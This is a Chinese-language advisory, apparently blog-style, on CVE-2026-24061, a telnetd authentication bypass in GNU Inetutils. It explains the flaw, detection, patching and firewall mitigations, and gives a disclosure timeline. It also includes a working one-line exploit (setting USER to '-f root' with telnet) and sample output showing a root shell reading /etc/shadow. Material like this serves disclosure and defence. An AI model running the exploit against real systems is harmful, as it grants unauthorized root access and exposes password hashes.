
CVE-2026-24061
GNU Inetutils telnetd 中的严重远程身份验证绕过漏洞
2015 年的幽灵刚刚回来,占有了所有还在运行 telnet 的东西。
零身份验证。一个环境变量。即时 root shell。
CVE-2026-24061 是 GNU Inetutils telnetd ≤ 2.7 中的一个 严重远程权限提升 漏洞。
未经身份验证的远程攻击者通过 Telnet NEW-ENVIRON 选项将 USER 环境变量设置为 "-f root"。
telnetd 未经任何清理 直接将其传递给 /bin/login → login 看到 -f root → 跳过所有身份验证 → 将攻击者送入 root shell。
危险代码在代码树中安静地躺了 近 11 年(自约 2015 年起)。
“一个环境变量。无需密码。完全 root。欢迎来到 2026 年。”
2026 年 3 月的现实情况:
当 telnetd 收到包含以下内容的 NEW-ENVIRON 选项时:
USER=-f root
它会将该值 直接 追加到传递给 /bin/login 的 argv 中:
execve("/bin/login", ["login", "-f", "root", ...], ...)
login 二进制程序将 -f root 解释为:
“该用户已经过 root 身份验证 — 无需密码检查。”
→ 攻击者获得 # 提示符。游戏结束。
关键致命设计选择:-R / 环境变量转发从未限制给授权用户。
受影响版本:GNU Inetutils telnetd 1.9.3 – 2.7
2026 年常见目标:
安全系统:
一行命令(任何带 telnet 客户端的 Linux/macOS):
USER="-f root" telnet -a 192.168.1.50
典型输出:
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
按下一次回车键后 — 完全 root 权限。
telnet localhost 23 # 查看 inetutils 横幅
inetutils-telnetd --version # 若 ≤ 2.7 则有漏洞
systemctl disable --now inetutils-inetd # 或 telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp
| 日期 | 事件 |
|---|
| ~2015 年 3 月 | 引入存在漏洞的环境变量处理逻辑 |
| 2026 年 1 月 | 私下向上游报告 |
| 2026 年 1 月下旬 | 公开披露及 CVE 分配 |
| 2026 年 1 月下旬 | 修复发布(Inetutils ≥ 2.8) |
| 2026 年 1 月 26 日 | 被添加到 CISA 已知被利用漏洞目录 |
| 2026 年 2–3 月 | 针对遗留/OT 系统的利用激增 |
| 2026 年 3 月 | 许多嵌入式厂商仍然保持沉默或无补丁 |